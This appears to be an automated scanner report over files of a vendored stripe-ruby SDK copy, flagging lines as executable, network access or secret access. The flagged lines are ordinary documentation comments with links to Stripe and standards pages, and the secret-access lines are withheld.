packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_submit_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/dispute_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 9
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 56
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 58
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the card statement showing that the product had already been paid for. - Network accessline 60
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Copy of the receipt showing that the product had been paid for in cash. - Network accessline 62
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Image of the front and back of the check that was used to pay for the product. - Network accessline 87
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 99
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 130
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 142
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 169
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 192
# (ID of a [file upload](https://stripe.com/docs/guides/file-upload)) Additional documentation supporting the dispute. - Network accessline 258
# The dispute amount in the card's currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 264
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_activate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_create_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_deactivate_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_reject_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/personalization_design_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/physical_bundle_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/physical_bundle_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/token_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/token_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/token_update_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_create_force_capture_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 202
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 286
# The total amount to attempt to capture. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 290
# The currency of the capture. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/c
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_create_unlinked_refund_params.rb
- Executable scriptline 1
Executable file - Network accessline 8
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 202
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 286
# The total amount to attempt to refund. This amount is in the provided currency, or defaults to the cards currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 290
# The currency of the unlinked refund. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_refund_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/issuing/transaction_update_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/mandate_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_attempt_record_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_attempt_record_retrieve_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_amount_details_line_item_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_apply_customer_balance_params.rb
- Executable scriptline 1
Executable file - Network accessline 6
# Amount that you intend to apply to this PaymentIntent from the customer’s cash balance. If the PaymentIntent was created by an Invoice, the full amount of the PaymentIntent is applied regardless of this parameter. # # A positive i - Network accessline 7
# # A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (for example, 100 cents to charge 1 USD or 100 to charge 100 JPY, a zero-decimal currency). The maxi - Network accessline 8
# A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (for example, 100 cents to charge 1 USD or 100 to charge 100 JPY, a zero-decimal currency). The maximum am - Network accessline 12
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_cancel_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_capture_params.rb
- Executable scriptline 1
Executable file - Network accessline 82
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 91
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 107
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 134
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 149
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 158
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 180
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 232
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 236
# Defaults to `true`. When capturing a PaymentIntent, setting `final_capture` to `false` notifies Stripe to not release the remaining uncaptured funds to make sure that they're captured in future requests. You can only use this setting when - Network accessline 240
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 244
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 246
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 248
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 250
# The parameters that you can use to automatically create a transfer after the payment # is captured. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 251
# is captured. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_confirm_params.rb
- Executable scriptline 1
Executable file - Network accessline 82
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 91
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 107
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 134
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 149
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 158
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 180
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 312
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 320
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 515
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 635
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 663
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 807
[Credential-related source omitted] - Access to secretsline 808
[Credential-related source omitted] - Network accessline 1246
# Installment configuration for payments attempted on this PaymentIntent. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1248
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1258
# Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. - Network accessline 1260
# Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. - Network accessline 1262
# Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. - Network accessline 1264
# Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. - Network accessline 1266
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1340
# Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1342
# Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe. - Network accessline 1919
# [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. - Network accessline 2525
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 2537
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2545
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2591
# Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. This parameter is intended for simpler integrations that do not handle customer actions, like [saving cards without authentication](https:/ - Network accessline 2603
# Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them later](https://docs.stripe.com/pay - Network accessline 2607
# ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods/transitioning#compatibility) object) to attach to this PaymentIntent. - Network accessline 2608
# If the payment method is attached to a Customer, it must match the [customer](https://api.stripe.com#create_payment_intent-customer) that is set on this PaymentIntent. - Network accessline 2610
# If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) - Network accessline 2611
# in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) - Network accessline 2616
# The list of payment method types (for example, a card) that this PaymentIntent can use. Use `automatic_payment_methods` to manage payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods). A list o - Network accessline 2618
# Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session). - Network accessline 2620
# Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_create_params.rb
- Executable scriptline 1
Executable file - Network accessline 82
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 91
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 107
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 134
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 149
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 158
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 178
# Controls whether this PaymentIntent will accept redirect-based payment methods. # # Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional s - Network accessline 180
# Redirect-based payment methods may require your customer to be redirected to a payment method's app or site for authentication or additional steps. To [confirm](https://docs.stripe.com/api/payment_intents/confirm) this PaymentIntent, you - Network accessline 194
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 326
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 334
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 529
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 649
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 677
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 821
[Credential-related source omitted] - Access to secretsline 822
[Credential-related source omitted] - Network accessline 1260
# Installment configuration for payments attempted on this PaymentIntent. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1262
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1272
# Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. - Network accessline 1274
# Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. - Network accessline 1276
# Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. - Network accessline 1278
# Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. - Network accessline 1280
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1354
# Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1356
# Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe. - Network accessline 1933
# [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. - Network accessline 2539
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 2551
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2559
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2602
# # If you intend to collect a fee and you need a more robust reporting experience, using # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount) - Network accessline 2603
# If you intend to collect a fee and you need a more robust reporting experience, using # [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount) # might be a bet - Network accessline 2604
# [application_fee_amount](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-application_fee_amount) - Network accessline 2618
# Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥ - Network accessline 2622
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 2628
# Set to `true` to attempt to [confirm this PaymentIntent](https://docs.stripe.com/api/payment_intents/confirm) immediately. This parameter defaults to `false`. When creating and confirming a PaymentIntent at the same time, you can also pro - Network accessline 2636
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2640
# Payment methods attached to other Customers cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 2642
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Customer after the PaymentIntent has be - Network accessline 2646
# Payment methods attached to other Accounts cannot be used with this PaymentIntent. # # If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not - Network accessline 2648
# If [setup_future_usage](https://api.stripe.com#payment_intent_object-setup_future_usage) is set and this PaymentIntent's payment method is not `card_present`, then the payment method attaches to the Account after the PaymentIntent has bee - Network accessline 2652
# Set to `true` to fail the payment attempt if the PaymentIntent transitions into `requires_action`. Use this parameter for simpler integrations that don't handle customer actions, such as [saving cards without authentication](https://docs. - Network accessline 2660
# ID of the mandate that's used for this payment. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm). - Network accessline 2662
# This hash contains details about the Mandate to create. This parameter can only be used with [`confirm=true`](https://docs.stripe.com/api/payment_intents/create#create_payment_intent-confirm). - Network accessline 2664
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 2666
# Set to `true` to indicate that the customer isn't in your checkout flow during this payment attempt and can't authenticate. Use this parameter in scenarios where you collect card details and [charge them later](https://docs.stripe.com/pay - Network accessline 2668
# The Stripe account ID that these funds are intended for. Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 2672
# ID of the payment method (a PaymentMethod, Card, or [compatible Source](https://docs.stripe.com/payments/payment-methods#compatibility) object) to attach to this PaymentIntent. - Network accessline 2673
# # If you don't provide the `payment_method` parameter or the `source` parameter with `confirm=true`, `source` automatically populates with `customer.default_source` to improve migration for users of the Charges API. We recommend that - Network accessline 2674
# If you don't provide the `payment_method` parameter or the `source` parameter with `confirm=true`, `source` automatically populates with `customer.default_source` to improve migration for users of the Charges API. We recommend that you ex - Network accessline 2675
# If the payment method is attached to a Customer, you must also provide the ID of that Customer as the [customer](https://api.stripe.com#create_payment_intent-customer) parameter of this PaymentIntent. - Network accessline 2678
# The ID of the [payment method configuration](https://docs.stripe.com/api/payment_method_configurations) to use with this PaymentIntent. - Network accessline 2680
# If provided, this hash will be used to create a PaymentMethod. The new PaymentMethod will appear # in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) - Network accessline 2681
# in the [payment_method](https://docs.stripe.com/api/payment_intents/object#payment_intent_object-payment_method) - Network accessline 2686
# The list of payment method types (for example, a card) that this PaymentIntent can use. If you don't provide this, Stripe will dynamically show relevant payment methods from your [payment method settings](https://dashboard.stripe.com/sett - Network accessline 2688
# Options to configure Radar. Learn more about [Radar Sessions](https://docs.stripe.com/radar/radar-session). - Network accessline 2690
# Email address to send the receipt to. If you specify `receipt_email` for a payment in live mode, you send a receipt regardless of your [email settings](https://dashboard.stripe.com/account/emails). - Network accessline 2692
# The URL to redirect your customer back to after they authenticate or cancel their payment on the payment method's app or site. If you'd prefer to redirect to a mobile application, you can alternatively supply an application URI scheme. Th - Network accessline 2704
# Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t - Network accessline 2706
# Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead. - Network accessline 2708
# Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the - Network accessline 2710
# The parameters that you can use to automatically create a Transfer. # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 2711
# Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 2713
# A string that identifies the resulting payment as part of a group. Learn more about the [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_increment_authorization_params.rb
- Executable scriptline 1
Executable file - Network accessline 82
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 91
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 107
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 134
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 149
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 158
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 180
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 232
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 240
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 244
# Text that appears on the customer's statement as the statement descriptor for a non-card or card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit - Network accessline 246
# The parameters used to automatically create a transfer after the payment is captured. # Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts). - Network accessline 247
# Learn more about the [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_list_params.rb
- Executable scriptline 1
Executable file
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_retrieve_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_search_params.rb
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/payment_intent_update_params.rb
- Executable scriptline 1
Executable file - Network accessline 82
# The total amount of tax on a single line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 91
# The discount applied on this line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 107
# The unit cost of the line item represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L3 rates. An integer greater than or equal to 0. - Network accessline 134
# If a physical good is being shipped, the cost of shipping represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than or equal to 0. - Network accessline 149
# The total amount of tax on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). Required for L2 rates. An integer greater than or equal to 0. - Network accessline 158
# The total discount applied on the transaction represented in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). An integer greater than 0. - Network accessline 180
# The [TaxCalculation](https://docs.stripe.com/api/tax/calculations) id - Network accessline 273
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 281
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 476
# A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments. - Network accessline 596
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 624
# Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information. - Access to secretsline 768
[Credential-related source omitted] - Access to secretsline 769
[Credential-related source omitted] - Network accessline 1207
# Installment configuration for payments attempted on this PaymentIntent. # # For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1209
# For more information, see the [installments integration guide](https://docs.stripe.com/payments/installments). - Network accessline 1219
# Request ability to [capture beyond the standard authorization validity window](https://docs.stripe.com/payments/extended-authorization) for this PaymentIntent. - Network accessline 1221
# Request ability to [increment the authorization](https://docs.stripe.com/payments/incremental-authorization) for this PaymentIntent. - Network accessline 1223
# Request ability to make [multiple captures](https://docs.stripe.com/payments/multicapture) for this PaymentIntent. - Network accessline 1225
# Request ability to [overcapture](https://docs.stripe.com/payments/overcapture) for this PaymentIntent. - Network accessline 1227
# We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to - Network accessline 1301
# Request ability to capture this payment beyond the standard [authorization validity window](https://docs.stripe.com/terminal/features/extended-authorizations#authorization-validity) - Network accessline 1303
# Request ability to [increment](https://docs.stripe.com/terminal/features/incremental-authorizations) this PaymentIntent if the combination of MCC and card brand is eligible. Check [incremental_authorization_supported](https://docs.stripe. - Network accessline 1880
# [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to. - Network accessline 2489
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2497
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2544
# Amount intended to be collected by this PaymentIntent. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥ - Network accessline 2548
# The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu - Network accessline 2552
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 2556
